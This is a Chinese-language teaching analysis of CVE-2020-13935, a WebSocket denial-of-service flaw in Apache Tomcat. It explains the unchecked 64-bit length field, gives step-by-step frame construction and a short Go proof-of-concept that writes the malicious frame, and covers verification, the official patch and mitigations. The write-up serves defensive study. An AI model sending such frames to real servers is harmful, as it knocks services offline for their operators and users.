漏洞分析 - Apache Tomcat WebSocket DoS (CVE-2020-13935)
字数 1976 2025-08-19 12:41:18

Apache Tomcat WebSocket DoS漏洞分析 (CVE-2020-13935) 教学文档

漏洞概述

漏洞名称: WebSocket DoS Vulnerability in Apache Tomcat (CVE-2020-13935)

漏洞描述: Apache Tomcat的WebSocket实现中存在一个拒绝服务(DoS)漏洞,攻击者可以通过发送特制的WebSocket帧导致服务器进入无限循环,消耗CPU资源,最终导致服务不可用。

影响版本:

  • 10.0.0-M1 to 10.0.0-M6
  • 9.0.0.M1 to 9.0.36
  • 8.5.0 to 8.5.56
  • 8.0.1 to 8.0.53
  • 7.0.27 to 7.0.104

漏洞原理分析

WebSocket帧结构

根据RFC 6455,WebSocket帧的基本结构如下:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+

载荷长度处理机制

WebSocket帧中的"负载长度"(payload length)处理分为三种情况:

  1. 短长度(≤125字节):

    • 直接使用7-bit payload length字段表示
  2. 中等长度(126-65535字节):

    • 7-bit payload length字段设置为126
    • 接下来的2个字节(16-bit)作为扩展长度
  3. 长长度(>65535字节):

    • 7-bit payload length字段设置为127
    • 接下来的8个字节(64-bit)作为扩展长度

RFC 6455特别要求: 对于64-bit扩展长度,最高有效位(MSB)必须为0。

漏洞根源

漏洞存在于java/org/apache/tomcat/websocket/WsFrameBase.java文件中,Tomcat在处理WebSocket帧时:

  1. 当payload length设置为127时,会读取接下来的8个字节作为64-bit扩展长度
  2. 未检查这64-bit扩展长度的最高有效位是否为0
  3. 如果最高有效位为1,Java会将其解释为负数(因为Java没有无符号整数类型)
  4. 后续处理负长度时导致无限循环

漏洞验证与利用

构造恶意WebSocket帧

以下是构造恶意帧的关键步骤:

  1. 设置帧头:

    • FIN=1 (表示这是消息的最后一帧)
    • RSV1-3=0 (保留位设为0)
    • opcode=1 (文本帧)
  2. 设置长度字段:

    • MASK=1 (客户端到服务器的帧必须掩码)
    • 7-bit payload length=127 (表示使用64-bit扩展长度)
    • 扩展长度字段设置为8个0xFF字节(违反RFC规范)
  3. 设置掩码键和载荷:

    • 使用简单的掩码键(如全0)
    • 实际载荷可以很短(如"test")

PoC代码关键部分

var buf bytes.Buffer

// 设置帧头
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

// 设置长度字段
buf.WriteByte(byte(1<<7 | 0b1111111)) // MASK=1, payload len=127

// 设置8个0xFF作为扩展长度(违反RFC规范)
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

// 设置掩码键(简单全0)
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)

// 设置实际载荷
buf.WriteString("test")

检测方法

  1. 搭建受影响版本的Tomcat环境(如9.0.31)
  2. 寻找WebSocket端点(如Tomcat自带的examples: http://localhost:8080/examples/websocket/echo.xhtml)
  3. 使用PoC连接到WebSocket端点(如ws://localhost:8080/examples/websocket/echoProgrammatic)
  4. 观察服务器CPU使用率是否持续100%

修复方案

官方修复

修复提交在commit 40fa74c7,主要修改了WsFrameBase.java文件,增加了对payload length的校验:

// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
    throw new WsIOException(
            new CloseReason(CloseCodes.PROTOCOL_ERROR, 
            sm.getString("wsFrame.payloadMsbInvalid")));
}

修复建议: 升级到以下或更高版本:

  • 10.0.0-M7+
  • 9.0.37+
  • 8.5.57+
  • 8.0.54+
  • 7.0.105+

临时缓解措施

如果无法立即升级:

  1. 禁用WebSocket功能: 如果不使用WebSocket,可以完全禁用
  2. 限制访问: 通过WAF或防火墙限制对WebSocket端点的访问
  3. 屏蔽默认端点: 拦截Tomcat默认WebSocket功能的URL,如:
    • /examples/websocket/echo.xhtml
    • /examples/websocket/echoProgrammatic
    • /examples/websocket/echoAnnotation
    • 其他examples相关端点

技术总结

  1. 漏洞类型: 拒绝服务(DoS)
  2. 触发条件: 发送特制WebSocket帧,其中64-bit扩展长度的最高位为1
  3. 影响: 导致Tomcat进程CPU使用率100%,服务不可用
  4. 利用难度: 低,无需认证,构造简单
  5. 修复关键: 严格遵循RFC 6455规范,校验扩展长度的最高位

参考资源

  1. Apache Tomcat安全公告
  2. Apache Bugzilla报告
  3. CVE详细信息
  4. RedTeam Pentesting博客分析
  5. RFC 6455 - WebSocket协议
Apache Tomcat WebSocket DoS漏洞分析 (CVE-2020-13935) 教学文档 漏洞概述 漏洞名称 : WebSocket DoS Vulnerability in Apache Tomcat (CVE-2020-13935) 漏洞描述 : Apache Tomcat的WebSocket实现中存在一个拒绝服务(DoS)漏洞,攻击者可以通过发送特制的WebSocket帧导致服务器进入无限循环,消耗CPU资源,最终导致服务不可用。 影响版本 : 10.0.0-M1 to 10.0.0-M6 9.0.0.M1 to 9.0.36 8.5.0 to 8.5.56 8.0.1 to 8.0.53 7.0.27 to 7.0.104 漏洞原理分析 WebSocket帧结构 根据RFC 6455,WebSocket帧的基本结构如下: 载荷长度处理机制 WebSocket帧中的"负载长度"(payload length)处理分为三种情况: 短长度 (≤125字节): 直接使用7-bit payload length字段表示 中等长度 (126-65535字节): 7-bit payload length字段设置为126 接下来的2个字节(16-bit)作为扩展长度 长长度 (>65535字节): 7-bit payload length字段设置为127 接下来的8个字节(64-bit)作为扩展长度 RFC 6455特别要求 : 对于64-bit扩展长度,最高有效位(MSB)必须为0。 漏洞根源 漏洞存在于 java/org/apache/tomcat/websocket/WsFrameBase.java 文件中,Tomcat在处理WebSocket帧时: 当payload length设置为127时,会读取接下来的8个字节作为64-bit扩展长度 未检查 这64-bit扩展长度的最高有效位是否为0 如果最高有效位为1,Java会将其解释为负数(因为Java没有无符号整数类型) 后续处理负长度时导致无限循环 漏洞验证与利用 构造恶意WebSocket帧 以下是构造恶意帧的关键步骤: 设置帧头 : FIN=1 (表示这是消息的最后一帧) RSV1-3=0 (保留位设为0) opcode=1 (文本帧) 设置长度字段 : MASK=1 (客户端到服务器的帧必须掩码) 7-bit payload length=127 (表示使用64-bit扩展长度) 扩展长度字段设置为8个0xFF字节(违反RFC规范) 设置掩码键和载荷 : 使用简单的掩码键(如全0) 实际载荷可以很短(如"test") PoC代码关键部分 检测方法 搭建受影响版本的Tomcat环境(如9.0.31) 寻找WebSocket端点(如Tomcat自带的examples: http://localhost:8080/examples/websocket/echo.xhtml ) 使用PoC连接到WebSocket端点(如 ws://localhost:8080/examples/websocket/echoProgrammatic ) 观察服务器CPU使用率是否持续100% 修复方案 官方修复 修复提交在commit 40fa74c7,主要修改了 WsFrameBase.java 文件,增加了对payload length的校验: 修复建议 : 升级到以下或更高版本: 10.0.0-M7+ 9.0.37+ 8.5.57+ 8.0.54+ 7.0.105+ 临时缓解措施 如果无法立即升级: 禁用WebSocket功能 : 如果不使用WebSocket,可以完全禁用 限制访问 : 通过WAF或防火墙限制对WebSocket端点的访问 屏蔽默认端点 : 拦截Tomcat默认WebSocket功能的URL,如: /examples/websocket/echo.xhtml /examples/websocket/echoProgrammatic /examples/websocket/echoAnnotation 其他examples相关端点 技术总结 漏洞类型 : 拒绝服务(DoS) 触发条件 : 发送特制WebSocket帧,其中64-bit扩展长度的最高位为1 影响 : 导致Tomcat进程CPU使用率100%,服务不可用 利用难度 : 低,无需认证,构造简单 修复关键 : 严格遵循RFC 6455规范,校验扩展长度的最高位 参考资源 Apache Tomcat安全公告 Apache Bugzilla报告 CVE详细信息 RedTeam Pentesting博客分析 RFC 6455 - WebSocket协议